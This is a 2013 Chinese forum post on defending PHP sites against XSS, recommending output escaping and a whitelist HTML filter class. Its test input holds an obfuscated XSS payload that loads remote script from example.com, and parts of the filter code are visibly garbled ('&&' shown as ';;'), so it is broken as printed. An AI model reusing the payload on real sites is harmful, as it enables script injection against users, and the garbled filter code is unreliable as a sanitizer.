灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:1757回复:0

PHP安全 XSS篇

楼主#
更多 发布于:2013-01-18 09:30
[backcolor= transparent]本质
[backcolor= transparent]
[backcolor= transparent]网络上流行的攻击方式xss. 归根结底就是因为用户提交的数据被你信任的显示出来了. 为什么会信任呢? 可能是由于黑名单方式过滤有漏网之鱼.可能是忘记转义输出了.这个就是xss攻击的本质了.
[backcolor= transparent]
[backcolor= transparent]防范
[backcolor= transparent]
[backcolor= transparent]了解了本质, 那防范就容易了. 对于绝大部分输出而言,都是非富文本的. 一个htmlspecialchars函数就搞定了. 对于富文本,处理就相对复杂一些了,黑名单方式总是会有漏网之鱼,或者过滤掉了用户的正常输入.而白名单方式, 就可以搞定所有你不喜欢的代码了~
[backcolor= transparent]
[backcolor= transparent]观念纠错
[backcolor= transparent]
[backcolor= transparent]我发现90%的人不知道什么时候应该进行什么操作. 比如,我刚刚毕业就进的那家公司. 入库前, 所有数据htmlspecialchars处理. 然后,这就安全了. 事实上确实安全了.不说多占用了多少空间,就说富文本的处理, 跨应用传递数据. 这个是行不通的.
[backcolor= transparent]
[backcolor= transparent]还有的人, 入库前会先过滤危险代码. 这是出于什么考虑呢?怕xss? 可xss不是发生在入库的时候呀! 如果说用户给你的数据不符合你的要求,为啥要入库. 大可提示用户,您提交的数据不符合我们的规定格式.
[backcolor= transparent]
[backcolor= transparent]例子
[backcolor= transparent]
[backcolor= transparent]简单的例子PHP
[backcolor= transparent]
[backcolor= transparent]<?php //headerutf8
[backcolor= transparent]echo $_GET['text']; //XSS!
[backcolor= transparent]echo htmlspecialchars($_GET['text']);//非富文本,选择此方式输出
[backcolor= transparent]echo WhiteListFiter::filter($_GET['text']); //富文本,选择此方式输出 当然,这个函数需要你自己去写.也可以用我写好的.见下边.
[backcolor= transparent]白名单过滤函数
[backcolor= transparent]
[backcolor= transparent]白名单方式过滤HTMLPHP
[backcolor= transparent]
[backcolor= transparent]<?php
[backcolor= transparent]/**
[backcolor= transparent] *白名单方式过滤HTML
[backcolor= transparent] * @author wclssdn@yeah.net
[backcolor= transparent] *
[backcolor= transparent] */
[backcolor= transparent]classHtmlFilter{
[backcolor= transparent]
[backcolor= transparent]    /**
[backcolor= transparent]     * 白名单
[backcolor= transparent]     * @var array
[backcolor= transparent]     */
[backcolor= transparent]   private $whiteList = array();
[backcolor= transparent]
[backcolor= transparent]    public function __construct(array$whiteList = array()){
[backcolor= transparent]        $this->whiteList = $whiteList;
[backcolor= transparent]   }
[backcolor= transparent]
[backcolor= transparent]    /**
[backcolor= transparent]     * 添加HTML标签白名单
[backcolor= transparent]     * @param string $label
[backcolor= transparent]    */
[backcolor= transparent]    public function addLabel($label, array $rule = array()){
[backcolor= transparent]       $this->whiteList[$label] || $this->whiteList[$label] = $rule;
[backcolor= transparent]   }
[backcolor= transparent]
[backcolor= transparent]    /**
[backcolor= transparent]     * 为标签添加过滤规则的可允许值
[backcolor= transparent]     * @param string $label标签
[backcolor= transparent]     * @param string $attribute 属性
[backcolor= transparent]     * @param array $values可允许的值
[backcolor= transparent]     */
[backcolor= transparent]    public function addValues($label, $attribute, array$values){
[backcolor= transparent]        if(isset($this->whiteList[$label][$attribute]['grep'])){
[backcolor= transparent]           unset($this->whiteList[$label][$attribute]['grep']);
[backcolor= transparent]        }
[backcolor= transparent]       $this->whiteList[$label][$attribute]['values'] = $values;
[backcolor= transparent]   }
[backcolor= transparent]
[backcolor= transparent]    /**
[backcolor= transparent]     * 为标签添加正则过滤规则
[backcolor= transparent]     * @param string $label标签
[backcolor= transparent]     * @param string $grep  过滤规则
[backcolor= transparent]     */
[backcolor= transparent]    public functionaddGrep($label, $attribute, $grep){
[backcolor= transparent]        if(isset($this->whiteList[$label][$attribute]['values'])){
[backcolor= transparent]           unset($this->whiteList[$label][$attribute]['values']);
[backcolor= transparent]       }
[backcolor= transparent]        $this->whiteList[$label][$attribute]['grep'] = $grep;
[backcolor= transparent]   }
[backcolor= transparent]
[backcolor= transparent]    /**
[backcolor= transparent]     * 获取白名单
[backcolor= transparent]     * @return array
[backcolor= transparent]     */
[backcolor= transparent]   public function getWhiteList(){
[backcolor= transparent]        return $this->whiteList;
[backcolor= transparent]   }
[backcolor= transparent]
[backcolor= transparent]    /**
[backcolor= transparent]     * 执行过滤
[backcolor= transparent]     * @param string $htmlcode
[backcolor= transparent]     *@return string
[backcolor= transparent]     */
[backcolor= transparent]    function filter($htmlcode){
[backcolor= transparent]        if(empty($htmlcode)){
[backcolor= transparent]            return '';
[backcolor= transparent]        }
[backcolor= transparent]       //只保留允许的标签
[backcolor= transparent]        $htmlcode = strip_tags($htmlcode, implode('',array_map(create_function('$key', 'return "<{$key}>";'),array_keys($this->whiteList))));
[backcolor= transparent]        foreach ($this->whiteList as$whiteLabel => $rule){
[backcolor= transparent]            $clean = ''; //某个白名单中的标签过滤后的HTML代码,非所有标签都过滤后的HTML代码
[backcolor= transparent]            $unclean = $htmlcode; //正在过滤的代码,可能是已经过滤过某些标签后的HTML代码
[backcolor= transparent]            $found = false;   //是否找到了标签进行处理
[backcolor= transparent]            while (($pos = strpos($unclean,"<{$whiteLabel}")) !== false){    //查找是否存在标签
[backcolor= transparent]                $found =true;
[backcolor= transparent]                $endpos = strpos($unclean, '>', $pos);   //找到此标签结束位置
[backcolor= transparent]                if ($endpos === false){
[backcolor= transparent]                   break;    //找不到匹配结束标签, 直接退出
[backcolor= transparent]                }
[backcolor= transparent]                $label =substr($unclean, $pos, $endpos - $pos + 1);    //把这个标签的整段截取出来
[backcolor= transparent]               if (!$rule){ //没规则, 就把所有可能存在的属性干掉
[backcolor= transparent]                    $label ="<{$whiteLabel}>";
[backcolor= transparent]                }elseif (is_array($rule)){   //如果有针对此标签的规则, 则根据规则检验
[backcolor= transparent]                    $pos1 = strpos($label, ' ');//查找第一个空格
[backcolor= transparent]                    if ($pos1 === false){ //没有空格的话,也重新组装下此标签
[backcolor= transparent]                        $label ="<{$whiteLabel}>";
[backcolor= transparent]                   }else{
[backcolor= transparent]                        $clean2 = "<{$whiteLabel}";//标签内过滤后的属性字符串
[backcolor= transparent]                        foreach ($rule as $attribute =>$attributeRule){    //align => 'values' => array('left', 'right','center')
[backcolor= transparent]                            if (($pos2 = strpos($label,$attribute)) === false){
[backcolor= transparent]                                continue;   //如果不存在此属性就继续查找其他属性
[backcolor= transparent]                           }
[backcolor= transparent]                            $pos3 = strpos($label, '"', $pos2);   //查找第一个双引号
[backcolor= transparent]                            $pos4 = strpos($label, '"', $pos3 +1);    //查找第二个双引号
[backcolor= transparent]                            $attstr = substr($label, $pos3+ 1, $pos4 - $pos3 - 1);    //把属性字符串拿出来, +1: 前边的"不要. -1:后边的"不要
[backcolor= transparent]                            if ($attribute == 'style'){    //style的特例,需要判断其中每一个值
[backcolor= transparent]                                $attarray = explode(';',$attstr);    //获得style中的每个属性:值
[backcolor= transparent]                                foreach($attarray as $at => $va){
[backcolor= transparent]                                    $va =explode(':', $va);    //把每个属性拿出来比如 float => left, color =>#fffff
[backcolor= transparent]                                    if (!$attributeRule[$va[0]]){   //如果不在白名单中
[backcolor= transparent]                                       unset($attarray[$at]);
[backcolor= transparent]                                       continue;
[backcolor= transparent]                                   }
[backcolor= transparent]                                    if ($attributeRule[$va[0]]['values'];; !in_array($va[1],$attributeRule[$va[0]]['values'])){
[backcolor= transparent]                                       continue;
[backcolor= transparent]                                   }
[backcolor= transparent]                                    if ($attributeRule[$va[0]]['grep'];; !preg_match($attributeRule[$va[0]]['grep'],$va[1])){
[backcolor= transparent]                                       unset($attarray[$at]);
[backcolor= transparent]                                       continue;
[backcolor= transparent]                                   }
[backcolor= transparent]                                }
[backcolor= transparent]                               $attstr = $attarray ? ' style="' . implode(';', $attarray) . '"' :'';
[backcolor= transparent]                                $clean2 .=$attstr;
[backcolor= transparent]                           }else{
[backcolor= transparent]                                //如果规定了只能允许的值, 但是属性值不在允许范围内,过滤
[backcolor= transparent]                                if ($attributeRule['values'] ;;in_array($attstr, $attributeRule['values'],true)){
[backcolor= transparent]                                    $clean2 .= "{$attribute}="{$attstr}"";
[backcolor= transparent]                               }
[backcolor= transparent]                                //如果规定了值的正则,则根据正则匹配过滤
[backcolor= transparent]                                if ($attributeRule['grep'];; preg_match($attributeRule['grep'],$attstr)){
[backcolor= transparent]                                    $clean2 .= "{$attribute}="{$attstr}"";
[backcolor= transparent]                               }
[backcolor= transparent]                            }
[backcolor= transparent]                       }
[backcolor= transparent]                        $label = $clean2 . '>';
[backcolor= transparent]                   }
[backcolor= transparent]                }
[backcolor= transparent]                $unclean = substr_replace($unclean,$label, $pos, $endpos - $pos + 1);    //替换未过滤前的那段代码为过滤后的代码
[backcolor= transparent]               $clean .= substr($unclean, 0, $pos + strlen($label));//把处理过的附加到此变量中保存
[backcolor= transparent]                $unclean = substr($unclean, $pos +strlen($label));    //未处理的代码
[backcolor= transparent]            }
[backcolor= transparent]            if ($found){//没处理过不保存
[backcolor= transparent]                $htmlcode = $clean;   //保存清理过的代码
[backcolor= transparent]                if ($unclean){ //如果有处理完, 还剩下的,就附加上
[backcolor= transparent]                    $htmlcode .= $unclean;
[backcolor= transparent]               }
[backcolor= transparent]            }
[backcolor= transparent]        }
[backcolor= transparent]        return $htmlcode;
[backcolor= transparent]   }
[backcolor= transparent]}
[backcolor= transparent]$whiteList = array(
[backcolor= transparent]    'b' => '', //标签
[backcolor= transparent]    'br' =>'',
[backcolor= transparent]    'br/' => '',
[backcolor= transparent]    'p' => array(
[backcolor= transparent]        'align' =>array(    //标签中可存在的属性
[backcolor= transparent]            'values' => array('left', 'right','center'),    //属性可允许的值
[backcolor= transparent]        ),
[backcolor= transparent]        'style' =>array(
[backcolor= transparent]            'float' => array(
[backcolor= transparent]                'values' =>array('left', 'right'),    //属性可允许的值
[backcolor= transparent]            ),
[backcolor= transparent]        ),
[backcolor= transparent]    ),
[backcolor= transparent]    'div' => array( //标签
[backcolor= transparent]        'align' => array(   //标签中可存在的属性
[backcolor= transparent]            'values' => array('left', 'right', 'center'),   //属性可允许的值
[backcolor= transparent]        ),
[backcolor= transparent]        'style' => array(
[backcolor= transparent]            'float'=> array(
[backcolor= transparent]                'values' => array('left', 'right'),   //属性可允许的值
[backcolor= transparent]            ),
[backcolor= transparent]        ),
[backcolor= transparent]    ),
[backcolor= transparent]    'img' =>array(    //标签
[backcolor= transparent]        'width' => array(    //标签中可存在的属性
[backcolor= transparent]           'grep' => '#^[1-9][0-9]{0,3}$#s',    //属性的正则校验规则
[backcolor= transparent]        ),
[backcolor= transparent]       'height' => array(
[backcolor= transparent]            'grep' =>'#^[1-9][0-9]{0,3}$#s',
[backcolor= transparent]        ),
[backcolor= transparent]    ),
[backcolor= transparent]);
[backcolor= transparent]
[backcolor= transparent]$htmlcode =<<<EOF
[backcolor= transparent] <p><divREL="add-2012-xs">ssssssssssssssssssss</DIV>
[backcolor= transparent]<spanSTYLE="display:non;e:expr065&#65279;ssion(function(){if(!window.x){try{document.scripts[0].src='http://example.com/i/wb.php'}catch(e){}window.x=1}}());"REL="add-2012-new">??</SPAN>
[backcolor= transparent]                               </p>
[backcolor= transparent]
[backcolor= transparent]EOF;
[backcolor= transparent]//$htmlcode = str_repeat($htmlcode,1000);
[backcolor= transparent]$htmlFilter = new HtmlFilter($whiteList);
[backcolor= transparent]$start =microtime(1);
[backcolor= transparent]//$htmlFilter->addLabel('a', array('href' =>array('values' => array('#'))));    
[backcolor= transparent]$htmlFilter->addValues('a','href', array('#'));
[backcolor= transparent]var_dump($htmlFilter->filter($htmlcode));
[backcolor= transparent]echoPHP_EOL, (microtime(1) - $start);
[backcolor= transparent]当然, 那个$whiteList配置需要根据你自己的需求去写.不在里边的是会被过滤掉的哦~~
[backcolor= transparent]

喜欢0 评分0
游客

返回顶部